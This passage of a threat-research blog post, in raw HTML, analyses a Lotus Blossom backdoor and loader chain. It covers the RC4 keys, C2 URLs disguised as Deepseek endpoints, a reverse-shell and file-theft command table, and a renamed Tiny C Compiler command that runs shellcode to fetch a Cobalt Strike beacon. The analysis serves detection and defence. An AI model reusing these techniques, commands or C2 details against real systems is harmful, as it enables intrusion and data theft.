data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt47a4d3aa70f2644b/6980beba4551a4a087ba56d2/lotus-blossom-API-hashing-diagram.jpg" data-sys-asset-uid="blt47a4d3aa70f2644b" data-sys-asset-filename="lotus-blossom-API-hashing-diagram.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 4: API hashing diagram" data-sys-asset-alt="lotus-blossom-API-hashing-diagram.jpg" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 4: API hashing diagram</figcaption></div></figure><p style="direction: ltr;">⠀</p><p><span style='font-size: undefined;'>The first difference between this and the API hashing routine used by the loader is that this subroutine accepts only a single argument: the hash of the target API. To obtain the DLL handle, the malware walks the PEB to reach the </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>InMemoryOrderModuleList</strong></span></span><span style='font-size: undefined;'>, then parses each module’s export table, skipping the main executable, until it resolves the desired API. Instead of relying on common hashing algorithms, the routine employs multi-stage arithmetic mixing with constants of </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>MurmurHash-style finalization</strong></span></span><span style='font-size: undefined;'>. API names are processed in 4-byte blocks using multiple rotation and multiplication steps, followed by a final diffusion phase before comparison with the supplied hash. This design significantly complicates static recovery of resolved APIs and reduces the effectiveness of traditional signature-based detection. As a fallback, the resolver supports direct resolution via </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>GetProcAddress</strong></span></span><span style='font-size: undefined;'> if the target hash is not found through the hashing method. The pointer to </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>GetProcAddress</strong></span></span><span style='font-size: undefined;'> is obtained earlier during the “main module preparation” stage.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta01bac2b11922a6f/6980bf0473b29a313cc2cac2/lotus-blossom-API-hashing-internals.png" alt="lotus-blossom-API-hashing-internals.png" caption="Figure 5: API hashing internals " class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="lotus-blossom-API-hashing-internals.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta01bac2b11922a6f/6980bf0473b29a313cc2cac2/lotus-blossom-API-hashing-internals.png" data-sys-asset-uid="blta01bac2b11922a6f" data-sys-asset-filename="lotus-blossom-API-hashing-internals.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 5: API hashing internals" data-sys-asset-alt="lotus-blossom-API-hashing-internals.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 5: API hashing internals</figcaption></div></figure><h3 style="direction: ltr;">Config decryption</h3><p style="direction: ltr;"><span style='font-size: undefined;'>The next step in the malware’s execution is to decrypt the configuration. Encrypted configuration is stored in the </span><span style='font-size: undefined;'><em>BluetoothService</em></span><span style='font-size: undefined;'> file at offset 0x30808 with the size of 0x980. Algorithm for the decryption is </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>RC4</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>with the key </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>qwhvb^435h&*7</strong></span></span><span style='font-size: undefined;'>. This revealed the following information:</span></p><ul><li style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Command and Control (C2) url</strong></span></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>https://api.skycloudcenter.com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821</strong></span></span></li><li style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Name of the module</strong></span></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>BluetoothService</strong></span></span></li><li style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>User agent</strong></span></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.4044.92 Safari/537.36</strong></span></span></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>The URL structure of the C2 is interesting, especially the section</span><span style='color:rgb(68, 71, 70);font-size: undefined;'> </span><span style='color:rgb(68, 71, 70);font-size: undefined;'><span data-type='inlineCode'>/a/chat/s/{GUID})</span></span><span style='color:rgb(68, 71, 70);font-size: undefined;'>, which appears to be the identical format used by Deepseek API chat endpoints. It looks like the actor is mimicking the traffic to stay below the radar. </span></p><p><span style='font-size: undefined;'>Decrypted configuration doesn’t give much useful information besides the C2. The name of the module is too generic and the user agent belongs to Google Chrome browser. The URL resolves to </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>61.4.102.97</strong></span></span><span style='font-size: undefined;'>, IP address based in</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Malaysia</strong></span></span><span style='font-size: undefined;'>. At the time of the writing of this blog, no other file has been seen to communicate with this IP and URL.</span></p><h4 style="direction: ltr;">Persistence and command-line arguments</h4><p style="direction: ltr;"><span style='font-size: undefined;'>To determine the next course of action, malware checks command-line arguments highlighted in Table 1 and chooses one of four potential paths. If the amount of the command-line arguments is greater than two, the process will exit. If there is no additional argument, persistence is set up primarily via service creation or registry as a fall back mechanism.</span></p><p><span style='font-size: undefined;'>See Table 2 below:</span></p><table><colgroup data-width='750'><col style="width:16.971713810316142%"/><col style="width:16.971713810316142%"/><col style="width:66.05657237936772%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'><strong>Argument</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'><strong>Mode</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'><strong>Action</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'><strong>(None)</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Installation</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Installs persistence (Service or Registry) pointing to binary with </span><span data-type='inlineCode'>-i</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> flag, then terminates.</span></p></td></tr><tr><td><p style="direction: ltr;"><span data-type='inlineCode'><strong>-i</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Launcher</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Spawns a new instance of itself with the </span><span data-type='inlineCode'>-k</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> flag via </span><span data-type='inlineCode'>ShellExecuteA</span><span style='color:rgb(31, 31, 31);font-size: undefined;'>, then terminates.</span></p></td></tr><tr><td><p style="direction: ltr;"><span data-type='inlineCode'><strong>-k</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Payload</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Skips installation checks and executes the main malicious logic (C2 & Shellcode).</span></p></td></tr></tbody></table><p style="direction: ltr;">⠀</p><p><span style='font-size: undefined;'>With the expected arguments present, the malware proceeds to its primary functionality - to gather information about the infected asset and initiate the communication with C2.</span></p><h3 style="direction: ltr;">Information gathering and C2 communication</h3><p style="direction: ltr;"><span style='font-size: undefined;'>A mutex </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Global\\Jdhfv_1.0.1 </strong></span></span><span style='font-size: undefined;'>is registered to enforce single instance execution on the host. If it already exists, malware is terminated. If the check is clear, information gathering begins by querying for the following: current time, installed AVs, OS version, user name and computer name. Next, computer name, user name, OS version and string </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>1.01</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>are concatenated and the data are hashed using </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>FNV-1A</strong></span></span><span style='font-size: undefined;'>. This value is later turned into its decimal ascii representation and used most likely as a unique identifier of the infected host. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Final buffer uses a dot as delimiter and follows this pattern: </span></p><p>⠀</p><pre language="cpp">&lt;UniqueID&gt;.&lt;ComputerName&gt;.&lt;UserName&gt;.&lt;OSVersion&gt;.&lt;127.0.0.1&gt;.&lt;AVs&gt;.&lt;DateAndTime&gt;</pre><p>⠀</p><p><span style='font-size: undefined;'>The last piece of information added to the beginning of the buffer is a string </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4Q</strong></span></span><span style='font-size: undefined;'>. The buffer is then </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>RC4</strong></span></span><span style='font-size: undefined;'> encrypted with the key </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>vAuig34%^325hGV</strong></span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Following data encryption, the malware establishes an internet connection using previously mentioned user agent and C2 </span><span style='font-size: undefined;'><strong>api.skycloudcenter.com </strong></span><span style='font-size: undefined;'>over port </span><span style='font-size: undefined;'><strong>443</strong></span><span style='font-size: undefined;'>. Data is then transferred via </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>HttpSendRequestA</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>using the </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>POST</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>method. Response from the server is then read to a temporary buffer which is later decrypted using the same key </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>vAuig34%^325hGV</strong></span></span><span style='font-size: undefined;'>.</span></p><h4 style="direction: ltr;">Response and command processing</h4><p style="direction: ltr;"><span style='font-size: undefined;'><em><strong>Note:</strong></em></span><span style='font-size: undefined;'> C2 server was already offline during the initial analysis, preventing recovery of any network data. As a result, and due to the complexity of the malware, parts of the following analysis may contain minor inaccuracies.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The response from the C2 undergoes multiple checks before further processing. First, the HTTP response code is compared against the hardcoded value </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>200</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>(0xC8),</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>indicating a successful request, followed by a validation of the associated WinInet handle to ensure no error occurred. The malware then verifies the integrity of the received payload and execution proceeds only if at least one valid structure is detected. Next, malware looks into the response data for a small tag to determine what to do next. Tag is used as a condition for a switch statement with 16 possible cases. The default case will simply set up a flag to </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>TRUE</strong></span></span><span style='font-size: undefined;'>. Setting up this flag will result in completely jumping out of the switch. Other switch cases includes following options:</span></p><p>⠀</p><table><tbody><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>Char representation</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>Hex representation</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>Purpose</strong></span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4T</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x3454</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Spawn interactive shell</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4U</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x3455</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Send ‘OK’ to C2</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4V</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x3456</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Create process</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4W</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x3457</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Write file to disk</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4X</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x3458</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Write chunk to open file</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4Y</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x3459</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Read & send data</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4Z</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x345A</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Break from switch</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4\\</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x345C</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Uninstall / Clean up</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4]</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x345D</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Sleep</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4_</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x345F</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Get info about logical drives</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4`</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x3460</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Enumerate files information</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4a</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x3661</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Delete file </span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4b</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x3662</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Create directory</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4c</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x3463</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Get file from C2</span></p></td></tr><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>4d</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>0x3464</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'>Send file to C2</span></p></td></tr></tbody></table><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4T</strong></span></span><span style='font-size: undefined;'> - The malware implements a fully interactive </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>cmd.exe reverse shell</strong></span></span><span style='font-size: undefined;'> using redirected pipes. Incoming commands from the C2 are converted from </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>UTF‑8</strong></span></span><span style='font-size: undefined;'> to the system </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>OEM</strong></span></span><span style='font-size: undefined;'> code page before being written to the shell’s standard input, while a dedicated thread continuously reads shell output, converts it from OEM encoding to UTF‑8 using </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>GetOEMCP</strong></span></span><span style='font-size: undefined;'> API, and forwards the result back to the C2.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4V</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>- This option allows remote process execution by invoking </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>CreateProcessW</strong></span></span><span style='font-size: undefined;'> on a C2-supplied command line and relaying execution status back to the C2.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4W</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>- This option implements a remote file write capability, parsing a structured response containing a destination path and file contents, converting encodings as necessary, </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>writing the data to disk</strong></span></span><span style='font-size: undefined;'>, and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>returning a formatted status message</strong></span></span><span style='font-size: undefined;'> to the command-and-control server.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4X</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>- Similar to the previous switch, it supports a remote file-write capability, allowing the C2 to drop arbitrary files on the victim system by supplying a </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>UTF-8 filename and associated data blob</strong></span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4Y</strong></span></span><span style='font-size: undefined;'> - Switch implements a remote file-read capability. It opens a specified file with, retrieves its size, reads the entire contents into memory, and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>transmits the data back to the C2</strong></span></span><span style='font-size: undefined;'>. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4\\</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>- The option implements a full </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>self-removal mechanism</strong></span></span><span style='font-size: undefined;'>. It deletes auxiliary payload files, removes persistence artifacts from both the </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Windows Service registry hive</strong></span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>the Run key</strong></span></span><span style='font-size: undefined;'>, generates and executes a temporary batch file </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>u.bat</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>to delete the running executable after termination, and finally removes the batch script itself. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4_</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>- Here malware enumerates information about logical drivers using </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>GetLogicalDriveStringsA</strong></span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>GetDriveTypeA</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>APIs and sends the information back to the C2.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4`</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>- This switch option shares similarities with previously analyzed data exfiltration function - </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4Y</strong></span></span><span style='font-size: undefined;'>. However, its primary purpose differs. Instead of transmitting preexisting data, it </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>enumerates files</strong></span></span><span style='font-size: undefined;'> within a specified directory, </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>collects per-file metadata</strong></span></span><span style='font-size: undefined;'> (timestamps, size, and filename), serializes the results into a custom buffer format, and sends the aggregated listing to the C2.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4a - 4b - 4c - 4d</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>- In the last 4 cases, malware implements a custom file transfer protocol over its C2 channel. Commands </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4a</strong></span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4b</strong></span></span><span style='font-size: undefined;'> act as control messages used to initialize file </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>download</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>upload operations</strong></span></span><span style='font-size: undefined;'> respectively, including file paths, offsets, and size validation. Once initialized, the actual data transfer occurs in a chunked fashion using commands </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4c (download)</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>4d (upload)</strong></span></span><span style='font-size: undefined;'><strong>.</strong></span><span style='font-size: undefined;'> Each chunk is wrapped in a fixed-size 40-byte response structure, validated for successful HTTP status and correct structure count before processing. Transfers continue until the C2 signals completion via a non-zero termination flag, at which point file handles and buffers are released.</span></p><h3 style="direction: ltr;">Additional artifacts discovered on the infected host</h3><p style="direction: ltr;"><span style='font-size: undefined;'>During the initial forensics analysis of the affected asset, Rapid7’s MDR team observed execution of following command:</span></p><p style="direction: ltr;">⠀</p><pre language="cpp">C:\ProgramData\USOShared\svchost.exe-nostdlib -run
C:\ProgramData\USOShared\conf.c</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The retrieved folder </span><span style='font-size: undefined;'><em>“USOShared”</em></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>from the infected asset didn’t contain svchost.exe but it contained </span><span style='font-size: undefined;'><em>“libtcc.dll” </em></span><span style='font-size: undefined;'>and </span><span style='font-size: undefined;'><em>“conf.c”</em></span><span style='font-size: undefined;'>. The hash of the binary didn’t match any known legitimate version but the command line arguments and associated </span><span style='font-size: undefined;'><em>“libtcc.dll”</em></span><span style='font-size: undefined;'> suggested that svchost.exe is in fact renamed </span><a href="https://github.com/phoenixthrush/Tiny-C-Compiler"><span style='font-size: undefined;'>Tiny-C-Compiler</span></a><span style='font-size: undefined;'>. To confirm this, we replicated the steps of the attacker successfully loaded </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>shellcode</strong></span></span><span style='font-size: undefined;'> from </span><span style='font-size: undefined;'><em>“conf.c” </em></span><span style='font-size: undefined;'>into the memory of </span><span style='font-size: undefined;'><em>“tcc.exe”</em></span><span style='font-size: undefined;'>, confirming our previous hypothesis.</span><span style='font-size: undefined;'><strong> </strong></span></p><h4 style="direction: ltr;"><strong>Analysis of conf.c</strong></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The C source file contains a fixed size (836) char buffer containing shellcode bytes which is later casted to a function pointer and invoked. The shellcode is consistent with 32-bit version of </span><a href="https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm"><span style='font-size: undefined;'>Metasploit’s block API.</span></a></p><p style="direction: ltr;"><span style='font-size: undefined;'>The shellcode loads </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Wininet.dll</strong></span></span><span style='font-size: undefined;'> using </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>LoadLibraryA</strong></span></span><span style='font-size: undefined;'>, resolves Internet-related APIs such as </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>InternetConnectA</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>HttpSendRequestA</strong></span></span><span style='font-size: undefined;'>, and downloads a file from </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>api.wiresguard.com/users/admin</strong></span></span><span style='font-size: undefined;'>. The file is read into a newly allocated buffer, and execution is then transferred to the start of the 2000-byte second-stage shellcode. </span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7e5771a2056ea7bb/6980c2dca49b287b588e2770/lotus-blossom-hellcode-decryption-stub.png" alt="lotus-blossom-hellcode-decryption-stub.png" caption="Figure 6: Shellcode decryption stub" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="lotus-blossom-hellcode-decryption-stub.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7e5771a2056ea7bb/6980c2dca49b287b588e2770/lotus-blossom-hellcode-decryption-stub.png" data-sys-asset-uid="blt7e5771a2056ea7bb" data-sys-asset-filename="lotus-blossom-hellcode-decryption-stub.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 6: Shellcode decryption stub" data-sys-asset-alt="lotus-blossom-hellcode-decryption-stub.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 6: Shellcode decryption stub</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>This stub is responsible for decrypting the next payload layer and transferring execution to it. It uses a </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>rolling XOR-based</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>decryption loop before jumping directly to the decrypted code.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A quick look into the decrypted buffer revealed an interesting blob with a repeated string </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>CRAZY</strong></span></span><span style='font-size: undefined;'>, hinting at an additional XORed layer, later confirmed by a quick test.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfba70f268e1aa776/6980c33229b277724c63dd5f/lotus-blossom-repeated-XOR-key-CRAZY.png" alt="lotus-blossom-repeated-XOR-key-CRAZY.png" caption="Figure 7: Repeated XOR key “CRAZY”" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="lotus-blossom-repeated-XOR-key-CRAZY.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfba70f268e1aa776/6980c33229b277724c63dd5f/lotus-blossom-repeated-XOR-key-CRAZY.png" data-sys-asset-uid="bltfba70f268e1aa776" data-sys-asset-filename="lotus-blossom-repeated-XOR-key-CRAZY.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 7: Repeated XOR key “CRAZY”" data-sys-asset-alt="lotus-blossom-repeated-XOR-key-CRAZY.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 7: Repeated XOR key “CRAZY”</figcaption></div></figure><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7fdc600725c456fa/6980c35fe313c672d8909c1a/lotus-blossom-decrypted-configuration.png" alt="lotus-blossom-decrypted-configuration.png" caption="Figure 8: Decrypted configuration" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="lotus-blossom-decrypted-configuration.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7fdc600725c456fa/6980c35fe313c672d8909c1a/lotus-blossom-decrypted-configuration.png" data-sys-asset-uid="blt7fdc600725c456fa" data-sys-asset-filename="lotus-blossom-decrypted-configuration.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Decrypted configuration" data-sys-asset-alt="lotus-blossom-decrypted-configuration.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 8: Decrypted configuration</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Parsing of the decrypted configuration data confirms that retrieved shellcode is </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Cobalt Strike (CS) HTTPS beacon</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>with http-get </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>api.wiresguard.com/update/v1</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>and http-post </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>api.wiresguard.com/api/FileUpload/submit</strong></span></span><span style='font-size: undefined;'> urls.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Analysis of the initial evidence revealed a consistent execution chain: a loader embedding </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Metasploit block_api</strong></span></span><span style='font-size: undefined;'> shellcode that downloads a </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Cobalt Strike beacon</strong></span></span><span style='font-size: undefined;'>. The unique decryption stub and configuration XOR key </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>CRAZY</strong></span></span><span style='font-size: undefined;'> allowed us to pivot into an external hunt, uncovering additional loader variants.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt989ba6e7f4c51324/6980c3e773b29add1cc2cb00/lotus-blossom-Execution-flow.png" alt="lotus-blossom-Execution-flow.png" caption="Figure 9: Execution flow followed by conf.c and other loaders" 